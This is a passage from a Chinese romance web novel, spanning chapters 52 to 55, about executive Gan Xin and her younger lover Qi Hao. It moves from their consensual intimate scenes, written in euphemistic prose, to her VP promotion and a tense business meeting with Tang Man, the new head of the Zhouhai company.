他们变换着角度,互相汲取着对方的津液,连牙齿都有些碰撞。齐灏的舌头也长,又灵巧,来回卷着甘歆的,又搔刮过她口腔里的软肉,不断舔舐挑逗着她的上颚,连甘歆呜咽出声的时候也没离开,完完全全的掌控、占有。 他抱着甘歆走了几步,后背撞到了客厅灯的开关,空间瞬间暗了下去,他们才慢慢分开了唇舌。 和喜欢的人胸口起伏一致,着实会让人情动。 齐灏在黑暗中的眸子好像泛着亮,他盯着甘歆的眼神绝不友善,好像下一秒就要将她吃拆入腹,明明在暗处看不清楚,甘歆却觉得自己的脸一定烧起来了,她怎么躲都躲不开齐灏的目光,灼热的、带着浓烈情感的、还有些狠,仿佛环伺已久。 终于受不住似的,甘歆搂了楼齐灏的脖颈,“……放我下来。” 他的声音又哑了,不同于上次发烧,这次更像是另一层意思,“不放。” “……你,”这么挂在一个人身上,有些变化就特别明显,“……放我下来。” 齐灏将她往上托了托,抱得更紧了,直接啃上了她的耳朵,呼出的热气顺着耳廓的弯绕喷洒,她痒得瑟缩了起来,“不放。” 她被搔得说不出话,连绵的热气还带着湿濡,耳廓、耳垂、耳尖,连耳后的脖颈上都沾染上了,推拒的手又想抓得更紧,更用力地抱住了他,连话都断断续续,“……别、别在这里,去卧室。” 后背着床的时候,男人就压了上来,又是铺天盖地的吻,还有从后背到腰侧的抚摸。 彼此的情欲和香气融在了一起…… 齐灏的手,落到了甘歆的睡衣扣子上,她感觉到了他的停顿和颤抖。 这次她终于没再害羞,细白的手掌握住了他的掌侧,带着柔情的眼睛始终与男人对视,她慢慢压下了他的手,带着他的手指,缓缓慢慢,向下一颗一颗解开。 男人没有急色,耐心得让她意外。 齐灏此刻仿佛虔诚的信徒,正在跪拜他的神。他以唇做笔,用心绪做墨,将他的神描绘了一遍又一遍,他在每个线条变化处都着了更多的力。事实上,他并非如求神的人一样,祈求回应庇佑,他只想取悦他的神明。 甘歆好像坠在了海洋球里,连自主站起来的力气都化了,可她伸手去抓,就会抓到与她一样洇着汗的手。她总想挤开齐灏,让他不要做这样的事,可他连取悦都这么强势,力道不松半分,反而愈演愈烈。 他们好像一起漂浮在江面上,只不过甘歆是船,齐灏是吹浪的风,风一大,船就在江面上左右摇晃,风不停歇,好像要将船掀翻才够。 他终于撑起胳膊深情看她,嘴边都是晶莹。甘歆眸眼微睁,眼角蕴着水汽,仰躺回看,只摆了一个嘴型,连声音都没发出来,男人就懂了。 他快速离开了卧室,在已经掉在地板上的西装外套口袋里,掏出了半路准备的东西,本来只是……用来以防万一,可心底的渴求是不会变的、无法忽略的。 甘歆见到了他手里的东西,笑意和羞赧同时上涌,“你……怎么还带这个。” “我……”齐灏说不出解释的话,只能一脸认真地、孤注一掷地说出最深的欲念,“想要你。” 直白的话语向来是最好的情热催化剂。 神明允许他亵渎。 可他好笨……连拆包装的动作都生疏,拽拉硬扯了好几下,才终于拿出了一个,终于全副武装,甘歆却皱起了眉,但她没有说。 齐灏又吻了下来,似乎想将拆包装的插曲用力在甘歆的脑海里抹去。 生涩的男人哪里知道,情动的她只要缓缓亲吻,就能和方才一样柔软。 甘歆粗粗在脑子里算了一下日期,在即将开始前伸手摘掉了偏小的东西,他怕是对自己还不够了解。但没关系,她可以慢慢教。 初次总是快得猝不及防。 但齐灏太聪明了,渐渐他学会了忍耐,学会了勾缠,他将她推至最高处。 甘歆很意外,只是第一晚—— 他也学会了保护,学会了珍惜。 他会激流勇退,不被本能操控。 事后,齐灏耐心得不像个新手,他会轻抚甘歆的脊骨,吻她汗津津的额头、嘴角,会把她揽在怀里,轻拍她的背部,不厌其烦地一遍遍地说:“我好喜欢你啊……” 我好喜欢、好喜欢你啊。 第53章 第53章她骑上了一匹年轻的野马。…… 甘歆不得不承认,睁开眼身边就有人的感觉很好,好到……她会钻进他的怀里,像小猫蹭头一样,还故意用头顶心碰了碰他的下巴。 齐灏还没醒,眼睛阖上的时候,睫毛显得更长,皮肤也很好,几乎看不到什么瑕疵,高挺的鼻梁、下颚线的弧度,怎么看都是帅气。 或许她的动作幅度有些大,虽然没把人弄醒,但他还是把甘歆往怀里搂了搂,外侧的胳膊放到她背后,没摸到被子,又将被子给她盖好。 这一套动作下来,甘歆都不确定他到底睡没睡醒了。 刚想伸手试探,就被齐灏抱紧了,他还幼稚地搭过来一条腿,直接把甘歆锁在怀里,眼睛没睁开,说话的声音都沙哑,“周末,再睡会儿。” 甘歆的嘴角勾了勾,便在他怀里安分了,闭上眼睛再睡个回笼觉。 天光大盛,甘歆再睁眼时,齐灏已经不在床上了。 她揉了揉眼睛,伸手去摸床头柜上的手机,竟然11点了,没再拖延,正打算掀开被子起床,就看见床尾放着她的睡衣,叠得很整齐,甘歆这才掀开了一个被角,往里看了看,又把整个人给盖上了。 啊—— 她在心里喊,竟然真的和齐灏……了! 自己都说不清这是个什么样的感觉,紧张、兴奋、害羞、尴尬,还有一点点懊悔和刺激。 她又伸出脑袋往外听了听,一点声音没有,这才心里起了疑惑,齐灏难道……走了吗?招呼都没打? 迅速穿好衣服,她坐了起来,打开手机,没有留言,没有未接来电,什么都没有,她叹了口气,摇了摇头,起床去洗漱。 算了,也没什么,对待小年轻,总不该有这么多计较,也得给他成长的空间和时间。 可到了客厅,昨天齐灏穿来的西服外套和裤子都不见了的时候,心里还是忍不住咂了个嘴,不想吵醒我,但发个信息有这么难吗? 让她主动去找齐灏?这怎么可能。爱来不来。 平底锅开了火,抹上一点黄油,将吐司切片放进去,香味刚刚溢出来,门口就有了动静,先是塑料袋的声音,又换了鞋子,甘歆手里的筷子都没放下,就走了出去。 “醒了?” “你去哪了?” 他们同时开口,齐灏先回答,“我回去了一趟,去楼下生鲜超市买了点东西又,”话还没说完,他就皱了皱眉,“什么味道?” 甘歆这才惊觉,刚刚出来的时候火没关,顾不上门口的人,快速跑了回了厨房关火,可惜还是晚了一步,吐司的背面已经有些焦了,她将吐司夹了出来刚想扔,手腕就被齐灏握住了。 “能吃,我吃。” “……都焦了,吃了不好,扔了吧,”甘歆问他,“你没吃早饭吗?” 他扬了扬手里的袋子,“买了锅贴,吃不吃?” 见甘歆点头,他就将袋子递给了她,趁机将她手里的吐司夺下来咬了一口,笑得眉眼弯弯,“厨神啊,你只需稍稍出手就这么好吃了。” 这次白眼是真止不住了,她不顾优雅地剜了齐灏一眼,“哪里学的马屁。” 齐灏低头亲了亲她的嘴角,“我真心的。” 见他又要亲,甘歆往旁边躲了躲,“你先洗手,我把锅贴盛出来。” 男人很听话,屁颠屁颠地就走了。 甘歆凑近看了看锅贴的样子,觉得有些熟悉,咬了一口后,更加惊讶了,“锦云路的锅贴么?” 齐灏也一愣,才带着淡淡的笑意点了点头。 “怎么想着去那里买锅贴,开车都得二三十分钟呢,”甘歆沾了沾醋,吃得笑容不减,“挺多年前我还在上家公司的时候,最喜欢吃这个锅贴了,那时候老板还是出摊的呢。” “现在有铺面了,还卖牛肉汤。” “真的啊?”甘歆笑了起来,“真好啊,日子一天天好起来了。” 齐灏又往她那夹了一个,“你多吃点,我刚刚吃过厨神面包了。” “瞎整,”甘歆又给他夹了回来,“我吃不了,一人一半,不许再动了。” “好好好,你说了算。” 早饭吃得晚,两个人就窝在沙发上消食,甘歆发现,没和齐灏有太多亲密接触时,觉得这个人克己守礼,整体还是偏冷淡的,可这会儿刚刚才坐了两分钟,他就顺着贴了过来,非得把她抱在怀里箍着,还要用腿夹压着自己,才算舒服。 薄削柔软的唇轻轻点点地落在额头上,发梢上,有时候弄得甘歆痒了,她就轻轻掐他一下,他就会用下巴蹭蹭她的发又左右挠一挠,两个人小动作没停,最终又吻在一起。 初尝滋味后总是容易沉溺,可她允许他这么做,她想看这个年轻人为自己疯乱的样子,也喜欢听他在耳边的粗喘,也期待被他带着湿意的掌心抚慰。 他真的好聪明,昨天意识到了问题所在,今天就带回了盒合适的,还含着她的耳朵真心求教还有哪里不对,可甘歆连话都说不出来,只好用力抓了一下他的头发,喘着气让他专心些。 沙发太窄,他们不得不坐起来,甘歆曲着的腿都快跪麻了,最后还是将主动权交了出去,她骑上了一匹年轻的野马,任凭癫乱,只能在摇摆中大口呼吸。 齐灏又将甘歆抱回了怀里,手游走在她的后背,试图将她的喘息平静下来,甘歆也不客气,额头上的汗直接往男人的胸口擦,还在他腰上用力掐了一把。 “……消停点。” 齐灏有些疑惑,“太过了?” 她都不知道该怎么回答,只能另起话题,“你买个早饭,怎么还夹带私货的?” “最好还是别那样,昨天真的抱歉,”他在甘歆的额头上又落下一个吻,“不想伤害你。” “我算了日子的。” “你是在邀请我吗?”齐灏挑了挑眉毛。 “……邀请你消停点。” 齐灏就笑了出来,又把甘歆揉抱了几下。 阳台的白纱帘被风吹了些起来,江面上波光粼粼,时不时有轮船掠过,甘歆盯着从窗外映射进到地板上的阳光发着呆,短时间频繁又冗长的情事确实让她有些短暂的发懵,她又往齐灏的怀里蹭了蹭,还伸手抱住了他的腰。 “累了么?”齐灏在她的背上轻抚着。 甘歆回了些神,答非所问,“沈确让我转告你别折腾雅悦了,他知道错了。” 齐灏轻笑了一下,安抚的动作没停,柔声问:“那……要转告给我么?” “不要,”甘歆心里明白,“他们操作有误的话,没有你,也会被别人狙击。” “我们歆总好厉害啊……看事情很透彻。” 被一个小13岁的男人夸,甘歆总觉得怪怪的,又想到沈确的话,她抬头皱眉看齐灏,“齐总不是不夸人么?” “谁说的,”齐灏又蹭了蹭甘歆头顶心的发,“入眼的人少罢了。” “那要入你的眼还挺不容易的呗?” “是有点难。” “说你胖还喘上了。” 齐灏皱了皱眉,“我胖吗?” 甘歆有些拿不准他瞬间拐的弯,没答话,齐灏就凑到她的耳朵边,吮了一口她的耳垂,“你喘比较好听。” 甘歆蹬了他一脚。 其实自从开始忙两个项目后,甘歆就很少有这样闲散的时光了,难得齐灏今天好像也没人叨扰,她就想找个电影一起看看,她点开的每一部片子齐灏都说好,都懒得让他给意见了。 最后挑了部西方史诗相关的电影,齐灏将她揽在怀里,她也调整到了舒适的姿势,刚开始不过十五分钟,城门刚刚被敌军砸破,齐灏的手机就响了。 她本想暂停,齐灏先说了声不用,才接起了电话。 如果不是一直以来的相处,甘歆一定觉得这人有两幅面孔,对着自己的时候耐心又温柔,对着别人时就像个生冷海鲜,连多说一个字都不情愿,明明没有刻意施加威压,但每一个字的重量都不轻。 “怎么打到这里来了。” “什么事?” “我知道了。” 三句话就解决了一个电话,甘歆到底还是把电影暂停了,“怎么了?” 齐灏看过来,脸上的温度多了些,“没事,我打个电话,去你书房可以吗?” 甘歆点了头后,齐灏并没有避开她,直接当着她的面将另一个手机开机,她了然,这才是她经常见齐灏用的手机,而刚刚接电话的那个手机很少会响起来。 果然,这个手机开机后,即使调了震动模式,依旧在桌上震个不停。 甘歆心里笑着,这得随身带多少个充电宝,震个二十分钟电量估计就跑半了。 齐灏进书房打电话,依旧没把门都关上,留了条缝,甘歆听到几句,说的是白话,她听不懂,便没再注意了。 这通电话打了很久,久到甘歆去准备午餐了,齐灏还没打完,直到她开了火,才听到有脚步声传来,她被人从身后抱住,甘歆拍了开他的手,转过身端了杯刚刚泡的陈皮水递给他。 “谁这么没眼力见,打扰齐总过周末?” 齐灏皱了皱眉,喝了口水,犹豫了几秒,“我爷爷。” “……”甘歆差点呛了一下,立刻给自己找补,“那你要去忙吗?” “不用,刚跟他说得差不多了,”齐灏说得风轻云淡,“老宅那边的事要有个收尾,他就是来问问我的想法,老人家啰嗦,才说了这么久。” 话都说到这了,不问也显得有些不自然,甘歆便说:“什么事啊到底?” “老一辈分家,”齐灏叹了口气,“和洲海有点关系,我爷爷让我回去做个见证。” “洲海……”甘歆想了想,“洲海也是你们家的?” “不是,钱也不能都往我头上放啊,”齐灏笑出了声,抚了一下甘歆的脸才说,“不是亲戚关系,老一辈是结拜的,拿现在的话说就是组团经商,多少都有些彼此的股份,洲海前阵子股东大换血,弄出了不少事来,寰科作为……嗯,领头人吧,总是要把这些事摆平,所以……” “所以你回去当老调解员了?” 齐灏表情皱了皱,点了点头,“可以这么说,但更棘手一点就是了,”他叹了口气,“他们都指望寰科给他们托底,但我觉得没必要。” 甘歆眼睛睁了睁,齐灏一直是冷淡的、温文尔雅的,很少有这么进攻性的一面,“所以你认为?” 齐灏将手里的马克杯放到料理台上,碰了个响出来,他的手向后撑着料理台,看着甘歆的眼睛露出了属于年轻人才有的莹亮风采,像刚上位的年轻雄狮,自信且强大。 “物竞天择,胜者为王。” 她几乎被这样的齐灏迷住了,嘴角慢慢上扬,抿着嘴点了点头。 “哎你怎么不问问我,你被我存在哪个手机里啊?” 天呐,谈恋爱的齐总怎么在自己面前只能帅三秒啊。 “不问,我知道。” “在哪个?”他还不信她知道。 “两个都有。”漂亮明媚的姐姐转过头,对他抬了抬下巴,表情里都是对他的 拿捏。 小狗疑惑,还有些烦恼,“你怎么这都知道。” “因为……”我也喜欢你呀。 但她不说。 正因为喜欢你,才会懂你。 第54章 第54章想见到的第一时间就和她接吻…… 甘歆荣升VP的文件终于在两周后敲定,同时晟宇的HR分发了公示邮件,五分钟后,晟宇集团的总经理沈确在全员邮件上直接全部回复“恭喜,众望所归”,短短一小时内,这个消息已经传遍了公司各个角落。 她一早上的电话都没停过,连座机也繁忙,数不尽的恭喜,说不完的客套话,嘴皮子都干了。座机再次响起来的时候,是前台小姑娘许嘉丽打来的。 她接电话的口气一定没什么耐心,许嘉丽连说话都有些不利索,“歆、歆总,门口有两束花,我是给您送进去,还是您来拿?” 看着面前一堆文件,她揉了揉脑袋,“不好意思,麻烦给我送过来吧,谢谢。” 许嘉丽不高,人也瘦瘦小小的,两束花倒是大,搬进来的时候脸都遮住了,放下花后,甘歆没来得及抬头,只说了谢谢,过了一会儿才发现小姑娘没走,便抬头疑惑地看了看她。 “……恭喜你啊,歆总。” 甘歆抿了个笑,点了点头,“谢谢。” “不知道……”许嘉丽开口有些扭捏,“我有没有机会可以转业务。” 甘歆有些意外,但毕竟她是HR部门的人,即使自己是VP,但目前也兼着市场总监的职位,不会轻易和其他部门产生冲突,何况,也是个不太熟的普通同事。 但有些话不能说得太满,现在的年轻人压力大,反弹心也严重,她不能拒绝得太明显,“OA系统里有转岗申请,如果想好了的话可以填。” “……这样啊,”许嘉丽双手在身前拧了拧,“我知道了,谢谢歆总。” “你客气了,谢谢你帮我拿进来,抱歉,实在有些抽不开身。” 许嘉丽没再扭捏,退了出去。 等门关上了,甘歆才去看这两束花,一束是熟悉的太阳神玫瑰,倒是规规矩矩地送了十枝,落款不是齐灏,而是寰科,她心里啐了一句,消息倒是快,感觉是一早就知道了,可人今早从她家里走的时候还什么都没提呢。 另一束……是向日葵,说来送得也是在理,但除了寰科,甘歆目前没有结交得太好的高层,之前去慈善晚宴认识的那些,大多数都是萍水相逢的生意人,VP在他们眼里,连角儿都算不上。 她拿出了嵌在向日葵里的卡片,祝福语也很官方,落款是……洲海,唐满。 洲海……她印象中没结交过洲海的人,怎么会来祝福她升VP呢……唐满,又是谁? 甘歆下意识想给齐灏打电话,但一想他平时工作忙时间也紧张,便放下了电话,转而打开了浏览器,把洲海、唐满四个字放到了搜索栏里,搜索结果出来的时,甘歆惊讶了一下。 洲海首个女性掌门人,28岁全盘入手,立志进军TOP5! 媒体太会写,短短一行字,重要信息都在里面了,她点开了链接,商务照里是个干练的短发女性,英气中也带了些妩媚,尤其是那一双杏眼令人影响深刻。 甘歆又拿起卡片,里外反复看了看没有留联系方式,她想了想,还是给沈确打个电话,毕竟是贵圈公子,知道该怎么应对。 万万没想到的是,沈确也很惊讶,“唐满给你送花,没搞错吧?” “卡片上是这么写的,我也不知道真的假的。” 沈确沉默了一会儿,“这样,我有她的联系方式,我先打听一下,洲海和晟宇现在没有什么业务交叉,她主动来联系,倒真觉得有些奇怪。” 甘歆只说好,便把电话挂了。 下午沈确给甘歆推了个名片过来,“唐满就说想认识你一下,她刚接手洲海,正是广发英雄帖的时候,应该没别的意图,打个招呼去吧。” 过了几秒,沈确又发了一条过来,“撬墙角不行。” 甘歆笑了笑,有的时候她真觉得沈确和二十来岁的小伙子也没什么区别,玩心大,还有点幼稚,她就回了OK过去,没跟他多啰嗦。 唐满的头像依旧是她的商务照,甘歆点了好友申请,留言里写的是“谢谢唐总,我是晟宇的甘歆”,没有立刻通过,她就把手机放在一边没再管了。 下午部门会议改成了下午茶大会,张然带的头,部门又给甘歆准备了一束花,她这一天花都收得有些手软,甘歆这次很放松,和大家聊了很多,顺便也把自己未来还会兼着市场总监的职位告知了,潜台词是她还在,也还管,别造次,这些跟了她这么久的同事们哪能听不懂,个个都点头如捣蒜。 一通热闹后,甘歆回了自己办公室,张然端了杯茶进来。 “阿歆,”她叫了甘歆更亲昵的称呼,把茶放到桌上,“恭喜你啊。” 甘歆站了起来,拉着张然一起在沙发上坐下了,“谢谢,没什么改变的,就是多了个身份,多操一份心。” 张然嘿嘿笑了笑,“你太厉害了,羡慕你。” 她拉过了张然的手,“小然总第二批动员得也很好啊,我很期待第三批的消息。” 张然拍了拍她,“我都知道你偷偷给我涨过工资了,谢谢你一直照顾我,副总监的话,我想做,但我也会拿出成绩来争取,哈哈,你看我这样,有没有像你一点?” “说什么呢,你就是你,全天下独一无二的小然总,”甘歆真诚地说,“也谢谢你这几年一直帮我,不然我顾头不顾腚的,不会这么顺利。” “瞧瞧你,”张然虚虚地点了点她的鼻子,“都VP了说话还糙呢。” 甘歆笑了笑,想起来件事,“哎,洲海的新老板,唐满,你知不知道?” 张然想了想,点了点头,“听我老公说过,是个狠角色,好像就是她把洲海的血换了的,挺雷厉风行的,在公司里基本是一言堂。” “这么厉害啊,”甘歆吸了一口气,“那她人呢,好相处吗?” “你要认识她吗?”张然思索了下,“我老公那个级别的,应该够不上,你可以去找沈总。” “……不是,”甘歆摇了摇头,朝着向日葵抬了抬下巴,“她给我送了一束花,说是想认识我。” “好事啊!”张然说得直接,“她手上资源应该挺多的。” 甘歆点了点头,“嗯。” “你最近……”张然凑了过来,悄声说,“还和神秘人联系吗?” 甘歆反应了一会儿,才知道张然说的是谁,齐灏的脸就闪进了脑海,她假装说得很轻巧,“联系啊。” “见过面了?” “见过了。” “怎么样怎么样?” 张然的神情明显不止在问他帅不帅,甘歆差点儿没笑出声,她轻咳了一下,“挺好的。” “都挺好?” “嗯,都挺好,”甘歆实在忍不住了,笑了出来,“哎你能不能别这样,我打听你和你老公的事你能这么坦然地告诉我啊?” “……你又不是没打听过。”张然嘟囔了一句,“你下周有没有空,老说要请你吃饭,这周我老公家里要吃饭,下周末能不能先预约你时间呀?” “好啊。”甘歆笑着答应下来,应了好多次了,如果再犹豫怕是张然要不高兴了。 张然语调都是昂扬的,特别开心,“你把神秘人一起带来呗?见见。” 甘歆怔了怔,眨了眨眼睛,一时间不知道该做什么回应,如果真的把齐灏带去……她有些不太敢想那个场面。 “不方便啊?都见面了,你俩就是恋爱了啊,”张然拽着她的手晃了晃,“我都蹲多久了,满足一下我的好奇心嘛。” 甘歆依旧笑着不说话。 “哎呀,我就看看到底有多帅,就一次!” 对于小女生的这些伎俩,甘歆一直没什么办法,但也没办法立刻替齐灏答应下来,“我先问问他时间,好吧?” “行,你开口他还没空的话,”张然哼哼了两声,“直接差评。” “行了你,”甘歆拍了她两下胳膊,“去干活,着急给你升职呢。” “好嘞。” 和张然闹了一通,甘歆心里也有些雀跃起来,她好像决心和齐灏在一块儿的时候,从来没想过,有一天会把他以男朋友的身份介绍给朋友,事实上,甘歆也从来没把前任介绍给过她的朋友和父母,这么一想,就对齐灏的感觉有些微妙了起来。 是什么……能让自己想把他介绍给朋友认识呢? 已经快五点了,她想联系一下齐灏,问问他的时间,以及,征求下把他介绍给朋友认识的意见。虽然……已经见过了,但是男朋友,还是不太一样的吧。 打开手机正想给他留言,发现唐满的好友申请通过了。 对方发来了个消息,先是一个握手的表情包,再是话,“歆总好,久仰,我是洲海的唐满,很高兴认识你,北泽的保障房项目听说了,非常厉害,希望有时间请你喝咖啡。” 甘歆看着字里行间,透着自信,也总感觉唐满对她还挺熟悉的样子,但业内的事情,本来就没有不透风的墙,她斟酌了一下,回了过去,“谢谢唐总,应该我请您喝咖啡,看您方便,我随时可以来拜访。” “歆总客气了,等我看一下时间,我们见面聊。” 这个28岁的女掌门,的确和她的商务照传传递出的气质一样,干练,还有一些霸道,明明看起来是她在约甘歆时间,事实上却是在请自己去拜访,甘歆深吸了一口气,果然老板没一个好相与的。 她回了个“好的”之后就把手机搁下了,也忘了要问齐灏的事,埋头在工作里。 直到手机六点半响起来,甘歆才惊觉时间飞逝。 齐灏的声音在电话里听起来那么低、那么缱绻,甘歆往椅背上一靠,享受着工作后的片刻宁静,他说他已经到楼下了,让她别着急,事情处理完了再下来,就停在0328车位上,因为想见到的第一时间就和她接吻。 周泽应该不在,齐灏自己开车来的,他不信他在周泽面前还能这么放肆。 甘歆没再多留,收拾了东西就撤,她把车就留在公司楼下,走到了0328车位上,顺利被年轻挺拔的男人拽到了石柱后,柔情蜜意地开始亲吻,分开后四目对视,又接了个短暂的吻,直到两人额头相抵都露出笑意才算完。 迈巴赫出车库实在太扎眼,直到开出了两条街,甘歆才把车窗放了些下来,闻一闻夏天的气味。 “张然……就是我那个同事,也是我同学,F大的,也算你学姐,”甘歆铺了个挺长的垫,“下周六想请我吃饭,她问……我男朋友去不去。” 开车的齐灏点了点头,什么细节都没问,连目光都没有闪烁,“好,那我把周六时间空出来。” “你愿意去?”他答应得太快,甘歆都想替他再深思熟虑。 “当然了,”趁着红灯,齐灏才转过头来,“都说是男朋友了,就差指名道姓了。” “……哦,”甘歆挺开心的,至少齐灏没有藏着掖着的想法,“说起来,还是因为我认识的猎头给她老公介绍了份工作,现在在洲海做风控成本来着。” 齐灏的眼睛睁了睁,点了点头,绿灯起步,说得不咸不淡,“是么。” “嗯,今天洲海的唐满也给我送了束花,”甘歆皱了皱眉,有些吃不准,话里疑问也多了起来,“我问了沈确说她就想认识我下,就加了好友,还说有空可以去拜访洲海,我和洲海都没交集,挺奇怪的,你认不认识她?” 齐灏没应,甘歆侧脸看过去,他难得露出了不耐烦的表情。 “怎么了,她很不好相处么?” 齐灏皱了皱眉,“是有点,你离她远点就行。” 第55章 第55章“找我啊?”“想我了?”“…… 见到唐满,才明白齐灏说的“不好相处”的在哪里。 去洲海的商务拜访,甘歆没自己去,拉着沈确一块儿,虽然人家说的是想认识一下她,但毕竟是两个公司的交涉,同等量级的去了才像话。 洲海的总部并不在这座城市,但唐满依旧在这里买了一栋楼,她和沈确在总裁办门口的会客沙发上等待的时候,就听到唐满在里面训人,极其大声、也极其难听,以至于她的助理都有些抱歉。 先是个脸涨红了的男人出来的,动作几乎能称作是逃,接着再缓步迈出来的才是唐满。她比照片上看起来更瘦一些,也更干练,都有些侠气在里头。 看到会客沙发上的他们,先和甘歆打了招呼,对着她伸手,“歆总你好,初次见面。” 甘歆自然握上去,露了个微风和煦的笑,“你好,唐总。” 其次她才和沈确打招呼,“沈总我辈楷模,晟宇如今再创新高,恭喜恭喜。” 虽然说着奉承的话,表情里倒没多少真挚。 幸好沈确也是个不计较的,尽显圈里传的风流公子一面,对着唐满也没几分真心,“小打小闹,不及唐总雷霆手段,望尘莫及。” 在甘歆印象里,老板办公室里的沙发大多都是深色的,唐满倒别出心裁,弄了一套白,荔枝皮的,放眼望去,唐满的整个办公室都以素色为主,更显简洁明亮。 “歆总见笑了,”唐满喝了口茶,“我年轻,还不太喜欢老气的东西,就都换成了淡色系。” 其实心里是被轻轻怼了一下的,这句年轻下来,估计沈确也觉得被打了一拳,但甘歆有她的年纪,也有她的涵养,不露声色地笑了笑,“很好看,唐总很有品味。” “保障房项目,”唐满搁了个腿,对着甘歆挑了个眉,“以后能带洲海一起玩吗?” 甘歆抿了个笑,喝了口茶,看向沈确。 “这还得看这次北泽进展得顺不顺利,”沈确停顿了一下,拿起并不烫嘴的茶杯吹了口气,没喝,“洲海要进保障房市场,没人拦得住,希望唐总以后带我们玩才是。” 唐满笑了笑,“我看不见得。” 沈确愣了一下,甘歆也微微眯了眯眼睛,怎么总感觉今天是鸿门宴。两只老狐狸也不愿意接这个话头,毕竟现在项目在自己手里,搬迁也在顺利进行中,洲海如果觊觎这块地,确实也有点晚了。 “唐总,”沈确彻底换了副浪荡公子的样子出来,连在沙发上也坐得随意,“晟宇和洲海没法比,不是一个量级的,以后要是有看得上的地,能指缝里漏点项目给晟宇,我们就很知足了。” 似乎没想到沈确能这么直接,还会放低姿态,唐满露出了一秒的惊讶来,很快就被抹了,“晟宇……洲海的确是有心想合作的,就是不知道寰科同不同意了。” 她的茶杯放到桌面上,眼睛却看向了甘歆。 甘歆依旧是笑,心里却咂摸出了些别的意思来,纯纯是针对性来挑衅的啊,还以为会有点儿惺惺相惜呢,可惜了,“唐总对寰科也感兴趣?” 唐满的笑意更浓了,“世界上有对寰科没兴趣的人吗?” “应该不少,但生意人没有,”甘歆的表情里也多了些虚情假意,“不过洲海想和晟宇合作,完全不必顾忌寰科,我们开门做生意,哪路的财神爷都欢迎。” “有歆总这句话,我就放心了。” 离开前唐满问要不要一起午餐,被沈确拒绝了,唐满没多留,他们就告辞。 回到车库,沈确扯了扯领带,连扣子都解了一颗下来,“早就听说唐满辣,没想到这么呛人,阿歆,你得罪她了?” “我上哪儿得罪她去,我都不认识她,”甘歆也没什么好气,打了个哈欠往椅背上一靠,“她怎么对晟宇这么清楚。” “行业内没有秘密。”沈确从口袋里拿出烟,正想点,还是看了一眼甘歆。 “……抽吧抽吧。” 沈确抽上吸了一口,眼睛眯了眯,“这个女人来者不善啊。” “也犯不着和晟宇过不去吧,欺负人么不是,”甘歆拉了安全带系上,“她什么来头啊?” “唐家的二小姐,之前一直在国外,去年才回来的,回来就和她 大哥抢家产,”沈确拿过便携烟灰缸掸了掸烟灰,“不过她大哥的确不成器,她接手家里生意更适合些。” “挺凶悍,”甘歆笑了笑,“我28岁的时候可没她厉害。” “天底下有几个人28岁能这么厉害的,”沈确笑了一声,“噢,你的太子爷算一个,不过这是人间翘楚,人中龙凤,不是一回事。” “……什么我的太子爷。” 沈确凑了脑袋过来,“瞒我?你还嫩着呢。” “快点抽,呛死了,任婷没嫌弃你啊?” “哎呦,姑奶奶急了,”沈确笑得厉害,“你车就在我旁边,一晚上挪没挪地,我可太清楚了。” 甘歆有点绷不住笑,摇了摇头,没搭理他。 “多久了?” “……老板,你快点儿,我回去一堆事要干呢。” “VP了还亲自干活,我看你下面那群人也别留了,全换了得了。” “你别乱来啊,”看着沈确凑过来的八卦眼神,甘歆自知逃不过去,索性摊牌,“没多久,刚开始。” “这么嫩的一棵草也拔……歆总你没有心啊。” 甘歆翻了个白眼,“谁都能说,就你最没资格说这种话,四十岁了还逗二十多的小姑娘玩儿。” “我那是逗吗,我这是在衡量事情的可行性。” 甘歆反击,“就许你衡量,不许我衡量啊?” “能凿开水泥封的心,他的确有点本事,”沈确看过来的眼神有些复杂,像是告诫也是祝福,“齐灏在圈子里没什么坏毛病,本来能接触他的人就少,就是……你要知道,能凿开水泥的东西,一定也是个硬茬,你要保护好自己。” “他才多大,能掀起什么样的风浪。”甘歆嘴里不在意,心里吹起了一阵风,扪心自问,如果齐灏真的要对自己狠心,那她真的一点赢面都没有。 “你能放轻松就好,谈恋爱嘛。” “我知道,”甘歆不想在这个话题里聊得过多深入,又继续说起了唐满,“洲海大换血了之后业务的确有增长,但保障房的项目根本没办法兜住他们的业务底线,但她又提到了寰科,所以真的是对我感兴趣?” “不好说,上次慈善晚宴你就够扎眼的了,对你感兴趣也无可厚非,毕竟在场的人,没有第二个得了齐灏青眼的。” “唐满上次也没来啊。” “你以为为什么会有那个慈善晚宴,也是大股东和小股东们的会面,总有人会和唐满说的。” 甘歆沉默了几秒,有些不太好的预感,她下意识地问:“她和齐灏……” 然后在沈确盯过来的眼神里住了嘴。 这次见面的确闹心。 她和沈确在外面随便吃了个午餐,一路回公司都没说话,直到进了电梯后,沈确才有些安慰似的对甘歆说:“没事儿,子弟们的臭毛病千奇百怪,下马威就是其中一个,你别放在心上。” 甘歆点了点头。 回到办公室,眉头就慢慢锁了起来,她咬了咬口腔内侧的软肉,心里盘算着今天的对话,如果唐满真的是针对晟宇也就算了,商业竞争在所难免,但如果针对的是她…… 那就一定和齐灏有关了。 会和齐灏前阵子回老宅的事情有关么? 可唐满明显是杀出来的,齐灏会站在她这边才对,怎么会对自己敌意那么深呢,齐灏让自己离她远点的原因,是为什么呢? 甘歆双手掩面,有些疲惫,上午这么一顿折腾下来,上班的心思都没了。 工作日,她和齐灏联系得不多,现在也基本保持工作日见一面,周末见一面的频率,除非齐灏来找她,她一般不太会主动联系。 她收拾了包,和张然打了个招呼,就早退了。 一时半会也不知道去哪儿,找了个商场里的咖啡店坐了下来。工作日的咖啡店异常繁忙,正经来喝咖啡的没几个,端着电脑工作的不少,还有来小聚聊天,甚至面试的。 她好不容易坐到个位子,只不过是四人桌的半张。 点的是澳白,另外半张坐着的应该是与她年纪相仿的女性,她们打扮更扎眼随性一些,其中一位已经穿上了细吊带衫,外面只罩了个半透的针织披肩,甘歆无意听她们聊天,但离得太近了,其中打扮得较为保守的那位应该姐弟恋失恋了,她一开始还想继续往下听,听着听着发现是和出轨对象掰了,她有点无语,就没再听下去。 脑袋空余的时候,甘歆才意识到,自己很容易想齐灏,以前也是,现在也是,想他即使抹了发蜡,也会在额头上掉落下来的几缕碎发,想他白皙宽大的手掌,还有他身上的木香…… 也发现,自己对齐灏的了解真的很少,他们在一起的时候,更多是相处,齐灏基本不会提及他过去的事情,也不会说几个大家族之间的牵扯,仔细想来,他的偏好和兴趣,甘歆也半点头绪都没有。 独处的时光,让甘歆终于敢承认自己没去找齐灏的原因。 她甚至有点担心,齐灏和唐满之间,存在一些特殊的纠葛。 